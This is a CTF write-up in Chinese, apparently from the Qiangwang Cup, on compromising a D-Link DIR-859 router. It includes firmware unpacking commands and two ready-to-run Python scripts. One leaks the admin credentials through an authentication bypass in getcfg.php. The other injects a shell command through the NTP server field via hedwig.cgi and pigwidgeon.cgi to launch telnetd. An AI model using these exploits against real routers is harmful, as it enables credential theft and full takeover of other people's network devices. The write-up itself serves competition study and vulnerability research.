0x00前言
今年強網杯線下只有PWN,Web狗覺得要來旅遊了,不過看到Real World部分上來發了個D-Link路由器,還是決定玩一下,畢竟畢設中玩了不少路由器還是有點經驗的。至於其他的題目,就只能看神仙打架了:P,膜手日Chrome、Qemu、各種CMS的大佬。
0x01題目
拿到一個D-Link DIR-859勁路由、串口調試設備和路由器固件。看到TTL轉USB設備先去焊了會板子但我也不會在線調試棧溢出,就去解壓固件了。注意這裏binwalk和firmware-mod-kit不能直接解壓,要先用dd切一下文件:
dd if=DIR859Ax_FW106b01_beta01_patch.bin of=DIR-859.img bs=1310868 skip=1
./unsquashfs_all.sh DIR-859.img
可以看到版本是B-1.06,而官網最新的固件型號是B-1.05,這兩個固件差不多,cgibin大小有點不同,考慮後面比對一下。題目要求是拿到路由器shell,打開telnet服務,並在/tmp目錄下面寫指定文件。
0x02初步分析
首先先去CVE搜一下,當然不出意外的是沒有CVE漏洞,題目中也說明了是主辦方挖出了漏洞,已經通報廠商,但是還沒有修補,但是現在看來其歷史漏洞也沒有。
打開路由器管理頁面,與DIR-8xxx系列一模一樣的界面撲面而來,除了換了版本固件號之外都一樣,COPYRIGHT也只是到2015。考慮用相近版本號的已知漏洞來測一下。
0x03漏洞利用
掏出之前DIR-868和DIR-817LW上用的exp,改一下先來讀一下賬密:
# -*- coding:utf-8 -*-
import requests, os
from lxml import etree
from traceback import print_exc
try:
from urllib.parse import urljoin
except:
from urlparse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import re
url = 'http://192.168.0.1'
print("Exploit start...")
#########################get user and pass###########################
try:
res = requests.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"RUNTIME.WPS.WLAN-1","AUTHORIZED_GROUP":"1\n"})
# print(res.content)
except:
print("exploit fail...")
print("you can try this command:")
print("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url))
print(os.system("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url)))
exit()
if 'Not authorized' in res.content:
print("authorize fail..")
exit()
elif "BAD REQUEST" in res.content:
print("BAD REQUEST, unsupported HTTP request")
try:
name = re.findall("<name>(.*)</name>",res.content)
passwd = re.findall("<password>(.*)</password>",res.content)
print("name: %s\npasswd: %s\n"%(name[0],passwd[0]))
except:
print("fail...")
print(res.content)
區別是DIR-868/817LW是通過讀取DEVICE.ACCOUNT.xml.php文件來獲取賬密,DIR-859是要通過RUNTIME.WPS.WLAN-1.xml.php來獲取,尋找過程就是把所有文件全讀一遍再Ctrl+F就可以了。漏洞出現在POST傳入AUTHORIZED_GROUP=1\n
可實現身份認證,通過getcfg.php
讀取配置文件。
但是題目要求是要拿到shell,即還需要一個命令執行漏洞來開啓telnet服務,找相近型號路由器,發現了DIR-850L命令執行漏洞,其中漏洞存在於/etc/services/DEVICE.TIME.php
中
#/etc/services/DEVICE.TIME.php
163 $enable = query("/device/time/ntp/enable");
164 if($enable=="") $enable = 0;
165 $enablev6 = query("/device/time/ntp6/enable");
166 if($enablev6=="") $enablev6 = 0;
167 $server = query("/device/time/ntp/server");
...
172 if ($enable==1 && $enablev6==1)
...
184 'SERVER4='.$server.'\n'.
...
189 ' ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'.
其中$SERVER變量被拼接到了命令執行的字符串中,造成了命令注入。
下面的操作需要登陸,HNAP登陸過程有點小複雜,就沒寫,下面的腳本需要賬密登陸後把cookie填進去
# -*- coding:utf-8 -*-
import requests, os
from lxml import etree
from traceback import print_exc
try:
from urllib.parse import urljoin
except:
from urlparse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import re
url = 'http://192.168.0.1/'
print("Exploit continuing...")
COMMAND = 'telnetd'
uid = 'b8gh3GJptw' ###update it!!!!!
session = requests.Session()
session.verify = False
session.cookies.update({"uid": uid})
################get DEVICE.TIME###############################
try:
res = session.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"DEVICE.TIME","AUTHORIZED_GROUP":"1\n"})
# print(res.content)
tree = etree.fromstring(res.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"
data = etree.tostring(tree)
# print(data)
except:
print_exc()
pass
# exit()
#################POST hedwig.cgi###############################
print("hedwig")
headers = {"Content-Type": "text/xml"}
data = etree.tostring(tree)
resp = session.post(urljoin(url, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
###############POST pigwidgeon.cgi##############################
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(url, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
exit()
print("OK")
這樣就打開了路由器的telnet服務,可以telnet 192.168.0.1
登陸上去進行操作了。